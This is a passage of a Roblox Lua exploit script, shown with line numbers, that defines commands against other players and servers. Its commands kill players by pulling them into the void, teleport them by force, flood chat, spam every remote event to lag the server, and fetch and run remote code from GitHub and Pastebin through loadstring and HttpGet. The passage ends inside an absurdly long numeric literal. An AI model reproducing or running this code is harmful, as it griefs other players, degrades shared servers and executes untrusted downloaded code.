end
1278
end
1279
wait()
1280
root.CFrame = point
1281
end
1282
end
1283
end
1284
end
1285
end)
1286
1287
cmd.add({"void"}, {"void <player>", "Kill the given players without FE god"}, function(p)
1288
local players = argument.getPlayers(p)
1289
local backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
1290
local hum = character:FindFirstChildWhichIsA("Humanoid")
1291
local root = character:FindFirstChild("HumanoidRootPart")
1292
local point = root.CFrame
1293
1294
if not backpack:FindFirstChildWhichIsA("Tool") then
1295
lib.messageOut("void", "Cannot bring players, no tools found")
1296
return
1297
end
1298
1299
if backpack and hum then
1300
local tools = getTools(#players+1)
1301
wait()
1302
for i, v in pairs(tools) do
1303
v.Parent = character
1304
end
1305
wait()
1306
for i, v in pairs(tools) do
1307
v.Parent = workspace
1308
end
1309
wait(.2)
1310
for key, player in pairs(players) do
1311
local target = player.Character
1312
if target and player ~= localPlayer then
1313
root = character:FindFirstChild("HumanoidRootPart")
1314
local assignedTool = tools[key+1]
1315
local handle = assignedTool:FindFirstChild("Handle")
1316
local targetPart = target:FindFirstChild("HumanoidRootPart")
1317
if handle and targetPart then
1318
local schar = character
1319
repeat
1320
RunService.RenderStepped:Wait()
1321
root.CFrame = CFrame.new(800, workspace.FallenPartsDestroyHeight + 5, 800)
1322
targetPart.CFrame = CFrame.new(root.Position + root.CFrame.rightVector)
1323
until
1324
assignedTool.Parent ~= workspace or localPlayer.Character ~= schar
1325
root.CFrame = CFrame.new(800, workspace.FallenPartsDestroyHeight + 5, 800)
1326
end
1327
end
1328
end
1329
end
1330
end)
1331
1332
cmd.add({"killall", "toolkillall"}, {"killall", "Kill all players using tools"}, function()
1333
local players = Players:GetPlayers()
1334
local backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
1335
local hum = character:FindFirstChildWhichIsA("Humanoid")
1336
local root = character:FindFirstChild("HumanoidRootPart")
1337
local point = root.CFrame
1338
1339
if not backpack:FindFirstChildWhichIsA("Tool") then
1340
lib.messageOut("killall", "Cannot bring players, no tools found")
1341
return
1342
end
1343
1344
if backpack and hum then
1345
local tools = getTools(#players*3)
1346
wait()
1347
for i, v in pairs(tools) do
1348
v.Grip = v.Grip * CFrame.new(math.random(-16, 16)/8,0,math.random(-16, 16)/8)
1349
v.Parent = character
1350
end
1351
wait()
1352
for i, v in pairs(tools) do
1353
v.Parent = workspace
1354
end
1355
wait(.2)
1356
for key, player in pairs(players) do
1357
local target = player.Character
1358
if target and player ~= localPlayer then
1359
root = character:FindFirstChild("HumanoidRootPart")
1360
local assignedTool = tools[key+1]
1361
local handle = assignedTool:FindFirstChild("Handle")
1362
local targetPart = target:FindFirstChild("HumanoidRootPart")
1363
if handle and targetPart then
1364
local schar = character
1365
wrap(function()
1366
repeat
1367
RunService.RenderStepped:Wait()
1368
root.CFrame = CFrame.new(900, workspace.FallenPartsDestroyHeight+30, 900)
1369
targetPart.CFrame = CFrame.new(root.Position + root.CFrame.rightVector)
1370
until
1371
assignedTool.Parent ~= workspace or localPlayer.Character ~= schar
1372
wait(0.4)
1373
for i, v in pairs(character:GetDescendants()) do
1374
if v:isA("Weld") then
1375
if v.Part0 == handle or v.Part1 == handle then
1376
v:Destroy()
1377
end
1378
end
1379
end
1380
end)
1381
end
1382
end
1383
end
1384
end
1385
end)
1386
1387
cmd.add({"bringall"}, {"bringall", "Bring all players using tools"}, function()
1388
local players = Players:GetPlayers()
1389
local backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
1390
local hum = character:FindFirstChildWhichIsA("Humanoid")
1391
local root = character:FindFirstChild("HumanoidRootPart")
1392
local point = root.CFrame
1393
1394
if not backpack:FindFirstChildWhichIsA("Tool") then
1395
lib.messageOut("bringall", "Cannot bring players, no tools found")
1396
return
1397
end
1398
1399
if backpack and hum then
1400
local tools = getTools(#players*3)
1401
wait()
1402
for i, v in pairs(tools) do
1403
v.Grip = v.Grip * CFrame.new(math.random(-16, 16)/8,0,math.random(-16, 16)/8)
1404
v.Parent = character
1405
end
1406
wait()
1407
for i, v in pairs(tools) do
1408
v.Parent = workspace
1409
end
1410
wait(.2)
1411
for key, player in pairs(players) do
1412
local target = player.Character
1413
if target and player ~= localPlayer then
1414
root = character:FindFirstChild("HumanoidRootPart")
1415
local assignedTool = tools[key+1]
1416
local handle = assignedTool:FindFirstChild("Handle")
1417
local targetPart = target:FindFirstChild("HumanoidRootPart")
1418
if handle and targetPart then
1419
local schar = character
1420
wrap(function()
1421
repeat
1422
wait()
1423
root.CFrame = point
1424
targetPart.CFrame = CFrame.new(root.Position + root.CFrame.rightVector)
1425
until
1426
assignedTool.Parent ~= workspace or localPlayer.Character ~= schar
1427
root.CFrame = point
1428
end)
1429
end
1430
end
1431
end
1432
end
1433
end)
1434
1435
cmd.add({"bring"}, {"bring <player>", "Bring the given player(s)"}, function(p)
1436
local players = argument.getPlayers(p)
1437
local backpack = localPlayer:FindFirstChildWhichIsA("Backpack")
1438
local hum = character:FindFirstChildWhichIsA("Humanoid")
1439
local root = character:FindFirstChild("HumanoidRootPart")
1440
local point = root.CFrame
1441
1442
if not backpack:FindFirstChildWhichIsA("Tool") then
1443
lib.messageOut("bring <player>", "Cannot bring players, no tools found")
1444
return
1445
end
1446
1447
if backpack and hum then
1448
local tools = getTools(#players+1)
1449
wait()
1450
for i, v in pairs(tools) do
1451
v.Parent = character
1452
end
1453
wait()
1454
for i, v in pairs(tools) do
1455
v.Parent = workspace
1456
end
1457
wait()
1458
for key, player in pairs(players) do
1459
local target = player.Character
1460
if target and player ~= localPlayer then
1461
root = character:FindFirstChild("HumanoidRootPart")
1462
local assignedTool = tools[key+1]
1463
local handle = assignedTool:FindFirstChild("Handle")
1464
local targetPart = target:FindFirstChild("HumanoidRootPart")
1465
if handle and targetPart then
1466
local schar = character
1467
wrap(function()
1468
repeat
1469
wait()
1470
targetPart.CFrame = handle.CFrame
1471
root.CFrame = point
1472
until
1473
assignedTool.Parent ~= workspace or localPlayer.Character ~= schar
1474
for i, v in pairs(character:GetDescendants()) do
1475
if v.Name:find("Grip") and v:isA("Weld") then
1476
if v.Part0 == handle or v.Part1 == handle then
1477
v:Destroy()
1478
end
1479
end
1480
end
1481
end)
1482
end
1483
end
1484
end
1485
end
1486
end)
1487
1488
cmd.add({"chatspam"}, {"chatspam <number>", "Repeatedly chat a massive string <N> at a time"}, function(n)
1489
local amt = tonumber(n) or 1
1490
lib.connect("spam", RunService.RenderStepped:Connect(function()
1491
for i = 1, amt do
1492
localPlayer:Chat(("💖"):rep(120000))
1493
end
1494
end))
1495
end)
1496
1497
cmd.add({"errorlag", "animlag", "serverlag"}, {"animlag <number>", "Repeatedly error the server with a massive string <N> at a time"}, function(n)
1498
local amt = tonumber(n) or 1
1499
local i = 1234
1500
local symbols = {"💖","❤️","🔥","👍","🎉","😜","💯","💜","😈","💦"}
1501
local function err(...)
1502
i = i + 1
1503
if i > 30000 then i = 1000 end
1504
local hum = character:FindFirstChildWhichIsA("Humanoid")
1505
local animation = Instance.new("Animation")
1506
animation.AnimationId = (symbols[math.random(1, #symbols)]):rep(i)
1507
hum:LoadAnimation(animation):Play()
1508
animation:Destroy()
1509
end
1510
lib.connect("spam", RunService.RenderStepped:Connect(function()
1511
for i = 1, amt do
1512
err()
1513
end
1514
end))
1515
end)
1516
1517
cmd.add({"soundspam", "playallsounds"}, {"soundspam", "Repeatedly play all sounds"}, function()
1518
if SoundService.RespectFilteringEnabled == true then lib.messageOut("soundspam", "Sounds will not replicate") return end
1519
local sounds = {}
1520
for i, v in pairs(getinstances and getinstances() or game:GetDescendants()) do
1521
pcall(function()
1522
if v:IsA("Sound") and v:IsDescendantOf(workspace) then
1523
table.insert(sounds, v)
1524
end
1525
end)
1526
end
1527
local c = lib.connect("spam", RunService.RenderStepped:Connect(function() end))
1528
while c.Connected do
1529
for _, sound in pairs(sounds) do
1530
sound:Play()
1531
sound.TimePosition = sound.TimeLength/3
1532
end
1533
wait(0.15)
1534
end
1535
end)
1536
1537
cmd.add({"remotespam", "exhaust"}, {"remotespam <number>", "Repeatedly fire all remotes <N> at a time"}, function(n)
1538
local amt = tonumber(n) or 1
1539
local events, functions = {}, {}
1540
local str = ("💖"):rep(120000)
1541
for i, v in pairs(getinstances and getinstances() or game:GetDescendants()) do
1542
pcall(function()
1543
if v.Name:find("%d") == 1 then return end
1544
if v:IsA("RemoteEvent") then
1545
table.insert(events, v)
1546
elseif v:IsA("RemoteFunction") then
1547
table.insert(functions, v)
1548
end
1549
end)
1550
end
1551
lib.connect("spam", RunService.Stepped:Connect(function()
1552
for i = 1, amt do
1553
spawn(function()
1554
for _, remote in pairs(events) do
1555
remote:FireServer(str)
1556
end
1557
for _, remote in pairs(functions) do
1558
remote:InvokeServer(str)
1559
end
1560
end)
1561
end
1562
end))
1563
end)
1564
1565
cmd.add({"unspam", "unlag", "unchatspam", "unanimlag", "unremotespam"}, {"unspam", "Stop all attempts to lag/spam"}, function()
1566
lib.disconnect("spam")
1567
end)
1568
1569
cmd.add({"ping", "lag"}, {"ping <ms>", "Set your replication lag to a value"}, function(n)
1570
local ping = (tonumber(n) or 0)/1000
1571
settings():GetService("NetworkSettings").IncommingReplicationLag = ping
1572
end)
1573
1574
cmd.add({"refresh", "re"}, {"refresh", "Respawn your character and teleport back to your previous position"}, function()
1575
local cf, p = CFrame.new(), character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Head")
1576
if p then
1577
cf = p.CFrame
1578
end
1579
respawn()
1580
player.CharacterAdded:Wait(); wait(0.2);
1581
character:WaitForChild("HumanoidRootPart").CFrame = cf
1582
end)
1583
1584
cmd.add({"respawn"}, {"respawn", "Respawn your character"}, function()
1585
respawn()
1586
end)
1587
1588
cmd.add({"trip", "platformstand"}, {"trip", "Trip your player"}, function()
1589
local hum = character:FindFirstChildWhichIsA("Humanoid")
1590
local hrp = character:FindFirstChild("HumanoidRootPart")
1591
if hum then
1592
if hrp then
1593
hrp.RotVelocity = Vector3.new(-5, 0, 0)
1594
end
1595
hum.PlatformStand = true
1596
end
1597
end)
1598
1599
cmd.add({"stand", "untrip"}, {"stand", "Stand up"}, function()
1600
local hum = character:FindFirstChildWhichIsA("Humanoid")
1601
if hum then
1602
hum.PlatformStand = false
1603
end
1604
end)
1605
1606
cmd.add({"sit"}, {"sit", "Sit your player"}, function()
1607
local hum = character:FindFirstChildWhichIsA("Humanoid")
1608
if hum then
1609
hum.Sit = true
1610
end
1611
end)
1612
1613
cmd.add({"backdoorscan"}, {"backdoorscan", "Scans for any backdoors using FraktureSS"}, function()
1614
loadstring(game:HttpGet("https://raw.githubusercontent.com/L1ghtingBolt/FraktureSS/master/unobfuscated.lua"))()
1615
end)
1616
1617
cmd.add({"antikill", "nofekill", "antifekill"}, {"antikill", "Toggle FE kill prevention -Cyrus"}, function()
1618
-- from cyrus
1619
if connections["antifekill"] then lib.disconnect("antifekill") return end
1620
local LP = game:GetService'Players'.LocalPlayer
1621
local OldCFrame = LP.Character.Head.CFrame
1622
local debounce = false
1623
local tools = {}
1624
for _,v in pairs(LP.Backpack:GetChildren()) do
1625
if v:IsA'Tool' then
1626
table.insert(tools,v)
1627
end
1628
end
1629
lib.connect("antifekill", LP.Character.ChildAdded:Connect(function(h)
1630
for _,v in pairs(tools) do if h == v then return end end
1631
if h:IsA'Tool' then
1632
table.insert(tools,h)
1633
LP.Backpack:FindFirstChildOfClass'Tool'.Parent = LP.Character
1634
LP.Character:FindFirstChildOfClass'Tool'.Parent = LP.Backpack
1635
for i = 1,50 do
1636
LP.Character.HumanoidRootPart.CFrame = OldCFrame
1637
end
1638
debounce = true
1639
repeat wait(1) until not LP.Character:FindFirstChildOfClass'Tool'
1640
debounce = false
1641
if not debounce then
1642
OldCFrame = LP.Character.Head.CFrame + Vector3.new(0,5,0)
1643
end
1644
end
1645
end))
1646
1647
lib.connect("antifekill", LP.Character.ChildRemoved:Connect(function(a)
1648
if a:IsA'Tool' then
1649
table.insert(tools,a)
1650
end
1651
end))
1652
end)
1653
1654
cmd.add({"move", "addpos", "translate", "trans"}, {"move <X,Y,Z>", "Moves your character by the given X,Y,Z coordinates"}, function(p)
1655
local players = argument.getPlayers(p)
1656
local pos = lib.parseText(p, opt.tupleSeparator)
1657
if character then
1658
if pos and #pos == 3 then
1659
local x,y,z = pos[1], pos[2], pos[3]
1660
character:TranslateBy(Vector3.new(x, y, z))
1661
end
1662
end
1663
end)
1664
1665
local flyPart
1666
cmd.add({"fly"}, {"fly [speed]", "Enable flight"}, function(speed)
1667
if not speed then speed = 5 end
1668
if connections["fly"] then lib.disconnect("fly") character:FindFirstChildWhichIsA("Humanoid").PlatformStand = false end
1669
local dir = {w = false, a = false, s = false, d = false}
1670
local cf = Instance.new("CFrameValue")
1671
1672
flyPart = flyPart or Instance.new("Part")
1673
flyPart.Anchored = true
1674
pcall(function()
1675
flyPart.CFrame = character.HumanoidRootPart.CFrame
1676
end)
1677
1678
lib.connect("fly", RunService.RenderStepped:Connect(function()
1679
if not character:FindFirstChild("HumanoidRootPart") then return end
1680
local primaryPart = character.HumanoidRootPart
1681
local humanoid = character:FindFirstChildWhichIsA("Humanoid")
1682
1683
local x, y, z = 0, 0, 0
1684
if dir.w then z = -1 * speed end
1685
if dir.a then x = -1 * speed end
1686
if dir.s then z = 1 * speed end
1687
if dir.d then x = 1 * speed end
1688
if dir.q then y = 1 * speed end
1689
if dir.e then y = -1 * speed end
1690
1691
for i, v in pairs(character:GetDescendants()) do
1692
if v:IsA("BasePart") then
1693
v.Velocity = Vector3.new(0, 0, 0)
1694
v.RotVelocity = Vector3.new(0, 0, 0)
1695
end
1696
end
1697
flyPart.CFrame = CFrame.new(
1698
flyPart.CFrame.p,
1699
(camera.CFrame * CFrame.new(0, 0, -100)).p
1700
)
1701
1702
local moveDir = CFrame.new(x,y,z)
1703
cf.Value = cf.Value:lerp(moveDir, 0.2)
1704
flyPart.CFrame = flyPart.CFrame:lerp(flyPart.CFrame * cf.Value, 0.2)
1705
primaryPart.CFrame = flyPart.CFrame
1706
humanoid.PlatformStand = true
1707
end))
1708
lib.connect("fly", UserInputService.InputBegan:Connect(function(input, event)
1709
if event then return end
1710
local code, codes = input.KeyCode, Enum.KeyCode
1711
if code == codes.W then
1712
dir.w = true
1713
elseif code == codes.A then
1714
dir.a = true
1715
elseif code == codes.S then
1716
dir.s = true
1717
elseif code == codes.D then
1718
dir.d = true
1719
elseif code == codes.Q then
1720
dir.q = true
1721
elseif code == codes.E then
1722
dir.e = true
1723
elseif code == codes.Space then
1724
dir.q = true
1725
end
1726
end))
1727
lib.connect("fly", UserInputService.InputEnded:Connect(function(input, event)
1728
if event then return end
1729
local code, codes = input.KeyCode, Enum.KeyCode
1730
if code == codes.W then
1731
dir.w = false
1732
elseif code == codes.A then
1733
dir.a = false
1734
elseif code == codes.S then
1735
dir.s = false
1736
elseif code == codes.D then
1737
dir.d = false
1738
elseif code == codes.Q then
1739
dir.q = false
1740
elseif code == codes.E then
1741
dir.e = false
1742
elseif code == codes.Space then
1743
dir.q = false
1744
end
1745
end))
1746
end)
1747
cmd.add({"unfly"}, {"unfly", "Disable flight"}, function()
1748
lib.disconnect("fly")
1749
flyPart:Destroy()
1750
character:FindFirstChildWhichIsA("Humanoid").PlatformStand = false
1751
end)
1752
1753
cmd.add({"unanchorednograv"}, {"unanchorednograv", "Makes unanchored parts have 0 gravity"}, function()
1754
loadstring(game:HttpGet("https://pastebin.com/raw/MHdBcJQL", true))()
1755
end)
1756
1757
cmd.add({"partgrabber"}, {"partgrabber", "Press Q"}, function()
1758
-- ROBLOX FE PART + MOUSE FE SCRIPT
1759
-- Made by Rolevote.
1760
-- EXECUTE THIS SCRIPT ONCE PER SERVER
1761
local player = game.Players.LocalPlayer.Character
1762
local mouse = game.Players.LocalPlayer:GetMouse()
1763
local key = game:GetService("UserInputService")
1764
1765
BodyAngularVelocity = true -- Want the Part/Handle to spin really fast Crazy!
1766
local keyyy = Enum.KeyCode.Q -- Key to run it on part
1767
1768
1769
local y = 5.7
1770
local y2 = 7.2
1771
local P = 1000000
1772
local V = Vector3.new(100000,100000,100000)
1773
local SBT = Instance.new("SelectionBox")
1774
SBT.Name = "SB"
1775
SBT.Parent = player.HumanoidRootPart
1776
SBT.Adornee = player.HumanoidRootPart
1777
SBT.Color3 = Color3.new(0,0,0)
1778
1779
while wait(.3) do
1780
key.InputBegan:Connect(function(k)
1781
if k.KeyCode == keyyy then
1782
local handle = mouse.Target
1783
if handle.Anchored == false then
1784
wait(.3)
1785
handle.Position = handle.Position + Vector3.new(0,1,0)
1786
local BP = Instance.new("BodyPosition")
1787
BP.Name = "BP"
1788
BP.Parent = handle
1789
BP.P = P
1790
BP.MaxForce = V
1791
local SB = Instance.new("SelectionBox")
1792
SB.Name = "SB"
1793
SB.Parent = handle
1794
SB.Adornee = handle
1795
local colour = math.random(1,7)
1796
if colour == 1 then
1797
SB.Color3 = Color3.new(255,0,0)
1798
end
1799
if colour == 2 then
1800
SB.Color3 = Color3.new(255,170,0)
1801
end
1802
if colour == 3 then
1803
SB.Color3 = Color3.new(255,255,0)
1804
end
1805
if colour == 4 then
1806
SB.Color3 = Color3.new(0,255,0)
1807
end
1808
if colour == 5 then
1809
SB.Color3 = Color3.new(0,170,255)
1810
end
1811
if colour == 6 then
1812
SB.Color3 = Color3.new(170,0,255)
1813
end
1814
if colour == 7 then
1815
SB.Color3 = Color3.new(0,0,0)
1816
end
1817
player.Torso.Anchored = true
1818
if BodyAngularVelocity == true then
1819
local BAV = Instance.new("BodyAngularVelocity")
1820
BAV.Name = "BAV"
1821
BAV.Parent = handle
1822
BAV.P = 99900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000